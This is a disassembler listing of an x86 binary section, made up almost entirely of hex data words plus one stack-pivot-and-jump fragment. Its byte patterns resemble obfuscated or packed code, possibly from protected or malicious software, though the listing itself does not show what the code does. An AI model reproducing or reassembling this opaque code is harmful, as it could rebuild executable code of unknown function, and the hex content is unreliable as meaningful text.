		dd 0FF618299h, 4D1FE5B5h, 50006A06h, 3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1504h,	0C3504000h, 8F0F2C5Bh
		dd 2, 95FFF88Ah, 64D2E55h, 9E9h, 7068B600h, 0DDFF7357h
		dd 6A13ACh, 51195FFh, 0C08B064Dh, 63F32FEBh, 836F1A51h
		dd 3205BF9h, 9C9E09CBh,	0CB612C8Ch, 535A6CE7h, 0F1160144h
		dd 0C9C1A7F5h, 0AA36972Eh, 58235347h, 0BDF567F1h, 8CEDC9EEh
		dd 0BE88Fh, 0E55A0000h,	9500E97Ch, 747E228Bh, 0C59503FFh
		dd 58064D2Dh, 14E9h, 0D53D4400h, 52E271CFh, 87417C7Dh
		dd 0E8AF1159h, 3D64BB52h, 51C081B5h, 0E9000063h, 0Ch, 9DC6F964h
		dd 3A88D474h, 0DF5D5B74h, 0BEh,	12E900h, 0DD340000h, 4B1EFCC3h
		dd 0B2234DD5h, 32717F0Eh, 34DAD6h, 0BF0634FFh, 1B99ACECh
		dd 13F18159h, 2954CEEEh, 4D305D95h, 99E98106h, 94E420Bh
		dd 4D2DAD8Dh, 2EC18106h, 2334694Ah, 4D0EC5BDh, 8FF55106h
		dd 0BD8B3004h, 64D3175h, 8317F280h, 0EE904EEh, 3000000h
		dd 0AC0A2EB2h, 953D8496h, 967AD5A6h, 6CFE816Ah,	0FFFFF9Dh
		dd 0FFFFA385h, 0A5958BFFh, 0E8064D17h, 0Eh, 0E6A9E549h
		dd 0C968F598h, 0F2F51A17h, 8D29BFE8h, 64D0AE9h,	71B58B5Ah
		dd 81064D11h, 75F4C2h, 0F78B6600h, 5022D7BBh, 90F3815Fh
		dd 525F503Fh, 0EE9h, 0D3697300h, 6922452h, 738EEEAh, 5E4882A8h
		dd 852932FFh, 64D28B9h,	15958958h, 81064D2Dh, 0E253F5F0h
		dd 819DB132h, 994DB5F0h, 6820F47h, 89000000h, 4D1AF99Dh
		dd 5BF08106h, 0E974F463h, 12h, 9DE8A018h, 88298EF6h, 273B62F9h
		dd 0C613A3C6h, 2898487h, 21A18589h, 0EA83064Dh,	0F6816604h
		dd 0F4B8EF7h, 2185h, 68C0F00h, 8B000000h, 4D2195B5h, 2AE906h
		dd 0D810000h, 0E60903FEh, 67D2A678h, 0BD378EDCh, 0E9FC6628h
		dd 0FFFFFF7Ch, 6EF7A30Ah, 23A468Dh, 0D09B5A64h,	54794527h
		dd 0D097786Dh, 740E8D8Dh, 858B0653h, 64D0609h, 5998D89h
		dd 6A064Dh, 3E852h, 5A200000h, 54895AC3h, 44810424h, 1C0424h
		dd 52420000h, 8220D4C3h, 9CF96A10h, 858B3AB1h, 64D14E9h
		dd 11719D8Bh, 85C7064Dh, 64D051Dh, 7314h, 0E850006Ah, 3
		dd 58C35820h, 4244489h,	4244481h, 1Dh, 0BAC35040h, 641FDE45h
		dd 0F4555361h, 919D8BBFh, 0C7064D06h, 4D02E985h, 6, 0BE900h
		dd 5CB00000h, 2D2C98B7h, 9ADDF587h, 2DB5FF52h, 8B064D00h
		dd 4D0345B5h, 5595FF06h, 89064D2Eh, 4D0D21B5h, 22BE6606h
		dd 0FF006AA7h, 4D051195h, 0EBC08B06h, 5A7A4129h, 0D92EB351h
		dd 3A80DFD4h, 0E3A1ED3Ch, 0F3C2842Dh, 4027654Eh, 916C14CBh
		dd 78F00116h, 80864A00h, 0D7AAE69Bh, 8EB5A3Bh, 44DFD12Dh
		dd 0
		dd 0A21E9h, 75B86800h, 1FE90653h, 68FFFACDh, 65376C8h
		dd 0FACD15E9h, 785868FFh, 0BE90653h, 68FFFACDh,	653792Ah
		dd 0FACD01E9h, 7A9268FFh, 0F7E90653h, 68FFFACCh, 6537C0Ah
		dd 0FACCEDE9h, 7CF368FFh, 0E3E90653h, 2EFFFACCh, 1ACA6C6Ah
		dd 9B95B7Dh, 0FCAC4E8Ah, 0EC9C3E98h, 0F58E30A6h, 884E44BFh
		dd 756336E6h, 637323D3h, 548411C1h, 7ED45B2h, 99450159h
		dd 9D7A47D6h, 25D3B9F8h, 0A292F18Eh, 356B40F1h,	10D67860h
		dd 0D000D846h, 0CC3E13C5h, 9E528C0Fh, 0E570870h, 20F7D0B6h
		dd 0C374993Fh, 205002EEh, 0BEB993Fh, 0D11ABEDBh, 0F494A607h
		dd 80134BB7h, 2Ch, 0BD1B78A8h, 9301AFE8h, 0EC356E43h, 4FBD87A7h
		dd 8DF09177h, 0BC6D993Eh, 8D49FBE7h, 92E4993Eh,	20611F59h
		dd 0DD0B134Bh, 46000000h, 0DFA7F89Dh, 1A4400AFh, 0D8380DBEh
		dd 0A4EDEBA8h, 0AD931C76h, 92F266FFh, 0DCBCE7Ch, 0F3E5AE5Ch
		dd 5C34E51Eh, 966B6D2Ch, 2484F524h, 9C4DAAC5h, 0CDC8FE53h
		dd 9500360Bh, 573BA143h, 0D192F243h, 0C27214C4h, 0D03005D3h
		dd 0FE4F2A0h, 7F498DD6h, 16533911h, 93993F69h, 0B07A40E2h
		dd 0E7846A42h, 379F8F1Fh, 764B8B07h, 0DFC9F43Dh, 0AE9B096Ch
		dd 81590AFAh, 0FC984151h, 0D78729DAh, 92601BBBh, 428077F0h
		dd 7F29CEDh, 43550000h,	5641F193h, 6330E082h, 7123D375h
		dd 7F13C365h, 0E61CB557h, 0BAD2969h, 0F89A3E5Bh, 0E6884E48h
		dd 0D7795F36h, 7E2C126Ah, 0FB994502h, 0F59D9F6Ch, 0C9AF09E1h
		dd 92F18E1Bh, 7C9EE798h, 0B46248A2h, 3192F18Dh,	0EDC21683h
		dd 8CBA03B4h, 662DCF09h, 774FBD87h, 3E8DF091h, 0E4BC6D99h
		dd 0AAF3E5B4h, 8DB76955h, 52993Eh, 20F38DAFh, 0DA34134Bh
		dd 85E9EFAAh, 993E99D7h, 0E6F0A654h, 0DAD9EC35h, 14000000h
		dd 0BE0F89Dh, 4419BDD5h, 0F1927458h, 31A7EE92h,	755BB58Fh
		dd 92F192C7h, 52C15A44h, 51F7F904h, 34A2F2A0h, 0D8BDEBh
		dd 6E15DF2Bh, 0E5674F46h, 0EAC273BCh, 0A3356090h, 3839765Ah
		dd 5B6993Fh, 65D39D63h,	0ECF9A78Dh, 19499F8Eh, 9C825A7Eh
		dd 9F8EECEEh, 4671BA6Bh, 58DBD95h, 0F4483EAAh, 28329C7Dh
		dd 8EE916C4h, 34E2939Fh, 68A17660h, 5273DFB7h, 7E90A505h
		dd 0E191B3FCh, 0A66A25B1h, 42807794h, 6E29CEDh,	33650000h
		dd 465101A3h, 5340F092h, 6133E385h, 6F23D375h, 0F62CC567h
		dd 1BBD1979h, 8AA2E6Bh,	0F6983E58h, 0E7894F46h,	8E3C227Ah
		dd 0B994503h, 4373AF7Ch, 0C7755B56h, 4492F18Dh,	6B99E293h
		dd 330DAF27h, 0EAB1B5C7h, 2F78781Eh, 0A2449401h, 0E0F89DDBh
		dd 1A7BAB0Bh, 4F00D8C1h, 1BBDD806h, 577F1343h, 7A9B296Dh
		dd 29722B04h, 0C774107h, 0C39B4C8Ah, 7E5A3969h,	0CF2C5135h
		dd 4C7C993Eh, 1D489147h, 3461976Ch, 435202A4h, 43D4C095h
		dd 0B62084F3h, 0EEEDA6D6h, 0AC8132A4h, 0F602A73h, 0D87A5E37h
		dd 936B6D28h, 5CA53163h, 0F36A1B07h, 652F2084h,	7F593C04h
		dd 37682DDDh, 6FC0897Fh, 522ADB75h, 8D627422h, 0CAB60B54h
		dd 20850415h, 0F0D019E5h, 2B5B33A5h, 0B15F456Ch, 2E208503h
		dd 0BEF7CC7Dh, 0F2A35375h, 0FBC511E6h, 1ACFB58Dh, 9726D228h
		dd 0B7DE0EE6h, 3B134C21h, 0D227A755h, 2A732426h, 0A784208h
		dd 3A1B4C32h, 3B6B2D1Fh, 0B367F57h, 0E899855Ah,	832D1F39h
		dd 0C2BEF831h, 0AA8F2B88h, 338h, 0E6F0A2D2h, 1973589Dh
		dd 0F18D8533h, 0A3510292h, 9B9EE7EFh, 5CCA94D9h, 0B4D19E84h
		dd 9D4E993Eh, 8663D5BBh, 0FDC71A4Dh, 48D1B78Fh,	98209A92h
		dd 0E4AF2A68h, 0CFFA43F4h, 8FE9491Eh, 9A92FBA9h, 7EC77820h
		dd 2A02703Ah, 0EB086944h, 0E89B926h, 73BCF5CAh,	8FBF9748h
		dd 8030D206h, 4E08C315h, 0D607D3B3h, 5523081h, 0A3F50000h
		dd 0B6E19133h, 0C3D08022h, 0D1C37315h, 0DFB36305h, 86BC55F7h
		dd 0AB4D8909h, 983A9EFBh, 8628AEE8h, 7719BFD6h,	1ECCB20Ah
		dd 9B994506h, 43733F0Ch, 0F63A8353h, 0E6BE2Ch, 993EBBDBh
		dd 9CD2A758h, 0EE0ADFF9h, 1747519Ah, 4B84597Dh,	86F4BE02h
		dd 0EAA3C8AEh, 6F209F8Bh, 0AB2B6797h, 32549DD6h, 0F0C51382h
		dd 28FDDBBAh, 0A58BE53Dh, 9F8BEAF7h, 0B07AC374h, 0A30E877Fh
		dd 8BEB0FBDh, 0CEB48C9Fh, 9F8BEB20h, 8A3BEC9Dh,	7D12EEE8h
		dd 39DA199Ch, 15000002h, 774FBD87h, 45022191h, 15ED9E99h
		dd 0CD098BBBh, 4876BFF8h, 3AEA8C4Ah, 0C3715758h, 40994501h
		dd 1D60092h, 916617C8h,	4501F2A5h, 0AF296C99h, 2DAC44F4h
		dd 1263B87Ah, 480h, 6305D1C7h, 52F4E4B3h, 45E7F1A2h, 35D7FF95h
		dd 27C90D85h, 0B7DB588Eh, 0CCCD7D1Fh, 0DCBA6A0Ch, 0EDA858FAh
		dd 84DC49EBh, 4506F09Eh, 11DE6D99h, 774FBD87h, 45022191h
		dd 18ED9E99h, 8325B3E2h, 9EFC2D3h, 9945015Bh, 9E7627D8h
		dd 0DBB0266Eh, 0CE0459A2h, 513C11C7h, 375E2687h, 0B05FFA1h
		dd 0F1135554h, 194h, 5343732Ch,	2C75AE83h, 6C4197FEh, 1A7C5F36h
		dd 0FDAEE7BCh, 4052B925h, 4ED2D671h, 531DE305h,	4E270DE5h
		dd 0CB993F3Ah, 0A759451Ah, 42993F3Ah, 837DBFF0h, 69134B89h
		dd 33h,	4FBD87A4h, 8DF09177h, 0BC6D993Eh, 0F4E2B4E4h, 11CBAD1Fh
		dd 2ADEA020h, 0EFDB3079h, 993F543Dh, 132586D8h,	134BE775h
		dd 0E2FFh, 0A2F72700h, 9DA8ED36h, 0D808E0F8h, 7DD21BBDh
		dd 0B68B4B47h, 686E2656h, 0E3115A93h, 0F44E26B2h, 0A3D97E88h
		dd 0D539EFCFh, 92F26527h, 55AAF3A4h, 0C062761Fh, 0F26A765Ah
		dd 866CC692h, 92F26AD8h, 9FF6A455h, 0D3C2F039h,	21C12D05h
		dd 6E472A4h, 5F9B5842h,	1AE85DEh, 8CBC96B8h, 0C3FCD107h
		dd 7F548415h, 0EFB9FD46h, 93C3A981h, 109941D1h,	821B875Fh
		dd 1AE1C519h, 70CA226Bh, 0AC815740h, 5D1C573h, 0D2048EBCh
		dd 0C4128030h, 2A716309h, 1D6EC37Ah, 318h, 0CB6D692Fh
		dd 0BA5C7C1Bh, 0AD4F890Ah, 9D3F97FDh, 8F31A5EDh, 4F43C0F6h
		dd 6435E587h, 7422D274h, 8510C062h, 0EC44B153h,	45075806h
		dd 7946D599h, 3FE1F59Dh, 0BDD5068Fh, 5A0B4419h,	9E84DEB8h
		dd 92F18DF0h, 3AE286Ah,	9DC40952h, 0D50BE0F8h, 0B07618C0h
		dd 0BAA078E6h, 993EB205h, 696D2555h, 0E7125B94h, 0B17B290Fh
		dd 47F8993Eh, 25D5C196h, 0EA993EB1h, 9DCDCF20h,	3F7A7F8h
		dd 0BA2F6028h, 0B27CC009h, 0D1866C44h, 219F8BE1h, 0E730A8F1h
		dd 0A2690BBCh, 0BE0F89Dh, 7B1BC0D5h, 4208AA5Bh,	4FFDE378h
		dd 0CC92F18Dh, 38926A1Bh, 83595ECCh, 0EC357FDBh, 3EF12F08h
		dd 23FBAC99h, 6035A1F3h, 9D89DE27h, 993EF1EBh, 0C1FB3486h
		dd 134B40C7h, 32ADh, 0BD87E800h, 0F091774Fh, 6D993E8Dh
		dd 7578E4BCh, 0EB4EC470h, 0BE1E73BCh, 9ACA5B52h, 94DD9061h
		dd 3EE6FEB0h, 0E6479999h, 4B7934D4h, 0BFC013h, 9DFB0000h
		dd 0D50BE0F8h, 0E4419BDh, 96442A87h, 1392F18Dh,	0A6DCB162h
		dd 0E147E9EFh, 92F191FDh, 18BA1E77h, 0D3AB2D68h, 11E6F2A3h
		dd 0EE3A8FD8h, 84DEB624h, 2592D418h, 61AAED22h,	3F8B707Dh
		dd 9A3CED99h, 0C49C0AD4h, 8F42A8DEh, 9C74259Fh,	0EB0266Ch
		dd 46F4DA34h, 0C39F8F42h, 0F79BC912h, 0F0B7ADA6h, 0BA6BF6FFh
		dd 77EF63FFh, 95AAF80h,	1A0h, 43E5F1A7h, 32D40493h, 25C71182h
		dd 15B71F75h, 7A92D65h,	0D7BB386Eh, 0ECAD5DFFh,	0FC9A4AECh
		dd 0D8838DAh, 64BC29CBh, 4509D07Eh, 0F1BE4D99h,	3FE1F59Dh
		dd 0FAD2068Fh, 0C60FC9CAh
		dd 0FC9ACAA4h, 0BFA505DAh, 92F18E11h, 0E32CDD8Eh, 4FBD879Eh
		dd 8DF09177h, 0D440993Eh, 0A2F5E678h, 3E286136h, 3F887CFEh
		dd 0A28E6314h, 993F30F0h, 223FAB8Bh, 0E3917761h, 60993EB5h
		dd 0A32CC5AFh, 3E98FAA8h, 1DE73069h, 0A4EEAACCh, 9F96134Bh
		dd 0D1000000h, 0BE0F89Dh, 4119BDD5h, 79518511h,	0F18DE593h
		dd 68B16292h, 92432713h, 0D8BD92F1h, 0E7AE5E00h, 6D01CF1h
		dd 0CDDAC098h, 4A993EC3h, 6731F799h, 0A63B21F9h, 239F8E77h
		dd 2C6A9A72h, 0AF0961AAh, 0ECC1157Fh, 563C6AB3h, 642EDE80h
		dd 2225B772h, 85D8077h,	0B7B7h,	0CE089000h, 0BD1B7C2Ch
		dd 0B0286B1Bh, 0A0365E0Eh, 92444EFEh, 9E2157F0h, 9040E2F4h
		dd 7D2DCF09h, 6B1BBD19h, 9F0CAE2Ah, 9B36147h, 0A1309945h
		dd 0E1F59DD4h, 0DF9653Fh, 0AE286A17h, 3DCDD5C4h, 9CFC6F4h
		dd 4373A067h, 0B398256h, 1C764E8Ah, 0F18D8836h,	43950292h
		dd 0D98A356Eh, 90053B90h, 0BA8F474Bh, 542ED081h, 1D667024h
		dd 0EEA40FD9h, 795F37E8h, 99450205h, 8DF9D182h,	0F99A04Ah
		dd 0CF246D4Ch, 3ADCFC99h, 0C4D00B8Ah, 53043D12h, 7188927Eh
		dd 0A9FBDBD1h, 0C3158040h, 0B4247121h, 0EBEBA9DFh, 45A6FA16h
		dd 1EC0187Dh, 0DCB1276Eh, 38Bh,	33784600h, 6DBFB9Dh, 3E13C5D0h
		dd 73488E08h, 0A77C5C3Dh, 0E0B52171h, 19EEE8AAh, 5025B1E3h
		dd 8A5F791Ah, 0C0954354h, 0E089503Dh, 405h, 4B95100h, 29000000h
		dd 48759C8h, 89535C24h,	4C381E3h, 83000000h, 1C8704EBh
		dd 4895C24h, 0E3895324h, 4C381h, 0EB810000h, 4,	5C241C87h
		dd 68241489h, 6537491h,	8124048Bh, 4C4h, 56A06800h, 24890000h
		dd 24048324h, 53505A04h, 632F8DBBh, 245C0105h, 428F5B04h
		dd 86A8108h, 5632F8Dh, 5624148Bh, 0C681E689h, 4, 8704C683h
		dd 8B5C2434h, 89562404h, 4C681E6h, 83000000h, 348704C6h
		dd 0BE95C24h, 0BFFFFAC3h, 0CFB8DB54h, 306537Dh,	9DE0FFC5h
		dd 952AAF41h, 6043265h,	6B60AEDEh, 8D69E9E0h, 537F908Dh
		dd 50006A06h, 3E8h, 0C3582000h,	24448958h, 24448104h, 1C04h
		dd 0C3504000h, 4A64323Fh, 0FC3D5552h, 0F5958BF0h, 89064D31h
		dd 4D05998Dh, 51006A06h, 3E8h, 0C3592000h, 244C8959h, 24448104h
		dd 1D04h, 0C3514100h, 68E8E54Eh, 106AA142h, 820FB942h
		dd 6, 0D1E0D681h, 0E6810DE7h, 1DCF96EBh, 51D85C7h, 64F8064Dh
		dd 95890000h, 64D2BE9h,	2E985C7h, 64Dh,	6A0000h, 3E852h
		dd 5A200000h, 54895AC3h, 44810424h, 170424h, 52420000h
		dd 4B82BDC3h, 6880F79h,	8B000000h, 4D280DBDh, 0A1BD8906h
		dd 0FF064D2Ah, 4D3171B5h, 56006A06h, 3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1404h,	0C3564600h, 0FFFB8B6Bh
		dd 4D2E5595h, 56006A06h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h
		dd 1404h, 0C3564600h, 0FD958BE1h, 6A064D1Fh, 1195FF00h
		dd 8B064D05h, 0BF1DEBC0h, 91E05F92h, 0EA9C7C22h, 0BBE0E91Ch
		dd 37F2EAD2h, 9D4F4F91h, 9C1E2783h, 8A10620Ch, 0BF2304EBh
		dd 6CE95D21h, 32000005h, 0DABAC66Ch, 7D5D690Fh,	21010DB3h
		dd 0C2A2AE54h, 454753F9h, 7F25EEA3h, 26CC9373h,	0C86E3A1Ah
		dd 6E14DCBCh, 0CFFECB62h, 0D4FBA1B1h, 75357580h, 0DC3A07ADh
		dd 0CA286D13h, 32905D03h, 0B5AC369h, 0CD4F17F7h, 4F20E29Eh
		dd 0A1E64FDBh, 4F210E72h, 51BA23DBh, 0B85E2684h, 1CC28DEBh
		dd 0F96BD94Fh, 8C983E06h, 2E3AE0ACh, 0FDC824Eh,	3A4675C2h
		dd 0F7DB4F20h, 1AE13F8Eh, 0A286A774h, 0D40350A2h, 0DB4F20ACh
		dd 6FCD1C85h, 22F1FDA3h, 241399D5h, 12A3FC30h, 4E3695EBh
		dd 0E4339CDBh, 602BBE86h, 137CEDBAh, 365C1746h,	0C188DB4Eh
		dd 0A3F29863h, 0B0D20D37h, 67B016A8h, 61h, 7AD75A5h, 20770B3Ah
		dd 977DDB4Fh, 421032ADh, 6C7B016h, 80000000h, 65B45A22h
		dd 4AA759Dh, 680ED937h,	0CA703D9Bh, 0EB3887FDh,	4F20C4BCh
		dd 0AE046DDBh, 81ED3CE2h, 0B5E431C3h, 0DB4F20CBh, 50AEFD66h
		dd 3C9ADF85h, 6C12DE71h, 0D1A0B403h, 212B5584h,	9D06DB4Fh
		dd 9528F04Eh, 0B2BE27CDh, 6AC7568h, 0F29863C1h,	9065B425h
		dd 0F4C16732h, 43A69E04h, 0E8C8D47Ah, 4FAD7A20h, 0B412DF85h
		dd 1A7845EBh, 4CF2BE51h, 0D8A50E7Fh, 0CC282E8h,	0C73232A0h
		dd 0B01640AFh, 0CB3C0967h, 0C214E80Bh, 70BF28FEh, 7808h
		dd 0AC754600h, 0B0EC3906h, 421FFC64h, 0FB59A8BFh, 48BE8B31h
		dd 0AE776ADAh, 0B787C308h, 2F67A824h, 21C791E7h, 15DEBED2h
		dd 0A81C6493h, 0BD8ADB4Eh, 7AE34C17h, 11824FADh, 8D0606Dh
		dd 0F0249562h, 3099C991h, 92380563h, 0F99F67C5h, 1C48B62Ch
		dd 48FC6AD6h, 169DE58Dh, 4312B0h, 75500000h, 0DB3906ACh
		dd 0EB47C0Fh, 751BE341h, 65CE37A8h, 0AF958198h,	0C1CD733Ch
		dd 4AA7577h, 206B0837h,	9379DB4Fh, 421C26D1h, 12BBB016h
		dd 74000000h, 63590038h, 0B9E81C46h, 0DB4F94C7h, 4998016Ah
		dd 5AB7581h, 6C12DA38h,	0AA9A7E9Fh, 0BBC76D37h,	0B0F5775Eh
		dd 3844F681h, 7DC22BD1h, 0FC7F0130h, 49B2D501h,	9CD825FAh
		dd 2B54752Fh, 56B4031Eh, 0FCDCE88Eh, 92C18E34h,	0D50198F0h
		dd 0B05311FDh, 9FFD42E8h, 13DB31D7h, 2A0A1E6Dh,	91EFBC62h
		dd 665623C9h, 0D9A14400h, 273F2733h, 0D4B65BCAh, 18Ah
		dd 0E0622F8Dh, 1A4CFB1h, 90F962D5h, 30FC52C3h, 0FD4CBD8Ah
		dd 8FDDF835h, 0A8C1FD4Ah, 83049752h, 1F6C9BEAh,	32D1381Dh
		dd 73AFFCC9h, 4D11DD4Eh, 0F04E9DDBh, 25CB9528h,	727EE758h
		dd 5724CA92h, 4278CE0Ah, 86ACC807h, 6B11D937h, 0CA8BEA26h
		dd 8F922D4h, 0ADF4E4B9h, 90DF854Fh, 0F5BD2024h,	23F09662h
		dd 553D49B2h, 0B65BF5CDh, 56EAh, 4A862800h, 6DEFC570h
		dd 0A76A5AEh, 27DB4E29h, 0E11055BEh, 0DB4E289Fh, 0FFDA2992h
		dd 1F4E93DBh, 0DB4E2A31h, 1472B720h, 7F54A349h,	4E273050h
		dd 0DE86ECDBh, 3482CAEh, 4E287CD4h, 606CD5DBh, 0D5C0h
		dd 0C9B5F100h, 0B9A9683h, 7C176998h, 0B11ADB4Eh, 0F831F948h
		dd 46D9A2DDh, 990AD77Dh, 5382C730h, 0D13850B4h,	0F957248Dh
		dd 9F7F8B31h, 176431D7h, 0F2E59BCAh, 0E34CD501h, 0F3116F9Eh
		dd 0B720D501h, 0F33C3968h, 915AD501h, 0F3C01EEBh, 872DF74Dh
		dd 0E064CABAh, 0D20EDBEAh, 5A8F3E90h, 0F561B090h, 834FAD4Fh
		dd 0E5B210DDh, 6EA2D63Fh, 0EFDF15D0h, 0BA82E02Fh, 0FD390814h
		dd 4DBEC361h, 0D7B2018Bh, 0DC296EFEh, 11276EA0h, 3C8BEFC3h
		dd 0D5FFA30Dh, 38056ECAh, 0B57F12DAh, 68D1420Fh, 0D9A7D623h
		dd 58CEADFFh, 6DCBA0EFh, 0D331FEA4h, 0B199660Ch, 0BAD3194Bh
		dd 2E8C6ED6h, 936EBD63h, 98E52A42h, 0FFCC723Ah,	2A6B5A8Eh
		dd 0F5291514h, 3A3977A6h, 6FD8C482h, 0DDF81963h, 0E07A63C4h
		dd 770527Ah, 431D93C2h,	3E7AD123h, 17C0FD5Fh, 0B588D7E8h
		dd 59217F4Ch, 0ED56FCC6h, 754B6CA8h, 40C1EA18h,	35FDDDF1h
		dd 1493C28Fh, 4A76896Eh, 0AD7568DCh, 9764C207h,	0BF8EA2F1h
		dd 0E8179961h, 7988F898h, 78C73099h, 0A1D0521Ah, 7988F8DFh
		dd 8D33FC52h, 90EEBB24h, 7AD81DC3h, 0E4B908AEh,	8265DFC3h
		dd 390814BAh, 386C12DBh, 45C1Fh, 81DF2E6Eh, 82EE48B9h
		dd 0C9FD9471h, 88F15A00h, 0F2216EBBh, 7988978Eh, 54063AA3h
		dd 586DCB68h
		dd 0F5472C1h, 85000000h, 85B95F27h, 0DF60C9E3h,	38004F46h
		dd 0AF758C54h, 16DE3C09h, 7945A370h, 0E1A806D3h, 47106E3Bh
		dd 0AD76D4A1h, 0FDC3A07h, 743E9C69h, 0D8A301CEh, 68E86532h
		dd 5816h, 68243489h, 0E8Ah, 53241489h, 0C381E389h, 4, 4EB81h
		dd 1C870000h, 34895C24h, 0FABB5324h, 8175DC1Bh,	8E7B4FCBh
		dd 4BCB8131h, 0C166A23Ch, 504B08EBh, 0CB7A97B8h, 48D0F714h
		dd 5904282Dh, 58C301E5h, 545BDA89h, 8324348Bh, 0BB5304C4h
		dd 8, 6237EB81h, 0F301363Dh, 6237C381h,	1389363Dh, 24348B5Bh
		dd 81E68956h, 4C6h, 4C68100h, 87000000h, 8B5C2434h
		db 14h,	24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		jmp	loc_546EAD
; ---------------------------------------------------------------------------
		dw 0A7F4h
		dd 0CD27C866h, 0B8FFAA1Eh, 6538481h, 0E0FFC503h, 6448B01Fh
		dd 4BFBE88h, 27644E9Fh,	79B909BFh, 7C412731h, 2809466Ah
		dd 2F06B780h, 2882269Fh, 10139127h, 58F5347Ah, 2D2CA7C0h
		dd 11E18FF6h, 725BD08Bh, 498E2FD5h, 584D950Dh, 5E78CA8Ah
		dd 7288F18h, 64D8D657h,	6F73954Bh, 5431C6FCh, 1CC8EB46h
		dd 178680CBh, 3C43D862h, 86278D8Dh, 9D8B0653h, 64D17C9h
		dd 5998D89h, 880F064Dh,	0
		dd 51D85C7h, 61D8064Dh,	81660000h, 0C7560EC7h, 4D02E985h
		dd 6, 0F1958900h, 0FF064D1Dh, 4D25F9B5h, 51006A06h, 3E8h
		dd 0C3592000h, 244C8959h, 24448104h, 1B04h, 0C3514100h
		dd 45F78052h, 93B99289h, 2E5595FFh, 6A064Dh, 3E850h, 58200000h
		dd 448958C3h, 44810424h, 170424h, 50400000h, 2C02B2C3h
		dd 0B585317Fh, 89064D10h, 4D31F985h, 6AF806h, 51195FFh
		dd 0C08B064Dh, 0EC9A2CEBh, 0FD0DC669h, 4F2D44AFh, 0BCC2AF0Bh
		dd 73FA7384h, 2A84D510h, 3E12D58Eh, 1950B68Ch, 2F0AC383h
		dd 0C24AF45Ah, 0D97DB189h, 0DE861F9h, 0EB000000h, 0A9E7FE09h
		dd 572C3A90h, 3CC39D0Fh, 318D8D8Bh, 0E95A064Dh,	0Bh, 0C455E309h
		dd 32C59C4Dh, 818161C2h, 6280C2h, 0AB8F900h, 816AA52Bh
		dd 0A5128AE8h, 0F3BF0F6Ah, 0BB5F32FFh, 9435E38h, 0DED5EF81h
		dd 8D892083h, 64D2995h,	42DAEF81h, 9D232EA2h, 64D2E91h
		dd 76F1F781h, 0C18107BAh, 52CBBA93h, 9D893A89h,	64D036Dh
		dd 8B04EA83h, 4D14159Dh, 1E88306h, 0FFBA850Fh, 8166FFFFh
		dd 0E8B0B9C9h, 5, 4424ACh, 6E9A6h, 0B7820000h, 42AE4D6Eh
		dd 0C281F95Ah, 654Dh, 8E8h, 20169E00h, 86A4974h, 99C68151h
		dd 5E01FB3Fh, 9589C92Bh, 64D05BDh, 8B1134FFh, 4D260985h
		dd 0B58B5B06h, 64D328Dh, 10D3F381h, 8D89635Ch, 64D0379h
		dd 0FB29C381h, 89520FECh, 4D279185h, 0F3815806h, 7E1CFDBh
		dd 0B40A1C89h, 4D9D891Bh, 83064D15h, 895302E9h,	4D0AE5B5h
		dd 49495F06h, 0AE9h, 4EE07600h,	0C684A114h, 81E873B2h
		dd 0FF9B84F9h, 16850FFFh, 80000000h, 36E965D4h,	2F000000h
		dd 0D585E093h, 9007B027h, 82846DE8h, 0AE98Ch, 0F8F20000h
		dd 23619444h, 34A4DBA6h, 0FFFF73E9h, 4ECC7FFh, 3A747BF1h
		dd 1D92E5B8h, 0FF1F5F97h, 38574F29h, 678D8DA6h,	0F065388h
		dd 684h, 0DDB58900h, 89064D2Ch,	4D05998Dh, 0BB2CBE06h
		dd 85C7444Dh, 64D051Dh,	6924h, 0DEBF0FF9h, 2E985C7h, 64Dh
		dd 6A0000h, 3E850h, 58200000h, 448958C3h, 44810424h, 1C0424h
		dd 50400000h, 0F40DC7C3h, 0AE749F17h, 0B5FF454Bh, 64D25F9h
		dd 2369B501h, 95FF064Dh, 64D2E55h, 0E853006Ah, 3, 5BC35B20h
		dd 4245C89h, 4244481h, 16h, 0D5C35343h,	0AE83FF4h, 0A1000000h
		dd 0FECFBC3Bh, 16C14A6Dh, 1D8589B1h, 5F064D33h,	127D858Bh
		dd 6A064Dh, 51195FFh, 0C08B064Dh, 9F6F2CEBh, 0D55AC6DCh
		dd 0B5B6AB06h, 0CE8F95Eh, 0F0CAD46Eh, 8ECD974Bh, 0FFCFC336h
		dd 0F9650019h, 0EB196865h, 5C0A3EE8h, 0D8026691h, 8D8DB3A9h
		dd 6538996h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h
		dd 18h,	0BFC35343h, 53D65D30h, 89DBB70Fh, 4D05998Dh, 53006A06h
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1604h, 0C3534300h
		dd 66B0F1EBh, 92E0D781h, 51D85C7h, 6924064Dh, 6A0000h
		dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 140424h, 57470000h
		dd 8A0F1AC3h, 6, 3558D89h, 85C7064Dh, 64D02E9h,	0
		dd 0FFF3B70Fh, 4D2795B5h, 52006A06h, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1504h,	0C3524200h, 8589F783h
		dd 64D2F85h, 63D8531h, 0F53064Dh, 28Ah,	5A5E5100h, 2E5595FFh
		dd 6A064Dh, 3E856h, 5E200000h, 74895EC3h, 44810424h, 1C0424h
		dd 56460000h, 49135CC3h, 307AF74Fh, 8B66244Eh, 0FF006AFBh
		dd 4D051195h, 0EBC08B06h, 0B017EF2Ch, 64A48B17h, 0C06F4194h
		dd 7B0BCB95h, 1045ECF6h, 0B663897h, 0BFA92C14h,	0F6EABE5Bh
		dd 0D60FCAFDh, 2CB43DDDh, 0EC95E3C9h, 878D8DF2h, 6006538Ah
		dd 1489BD09h, 8166064Dh, 61A928D0h, 8E8h, 16E14F00h, 34B69891h
		dd 0C59D899Ch, 5A064D0Eh, 5998D89h, 6A064Dh, 3E856h, 5E200000h
		dd 74895EC3h, 44810424h, 1A0424h, 56460000h, 88DF4CC3h
		dd 969294DFh, 2D1B529h,	85C7064Dh, 64D051Dh, 5E2Ch, 10E9h
		dd 7C78EC00h, 4E821B2h,	3E89D9EDh, 0EDDDC639h, 0F7BF0F58h
		dd 2E985C7h, 64Dh, 0C0800000h, 29B5FF67h, 66064D32h, 3DE1D881h
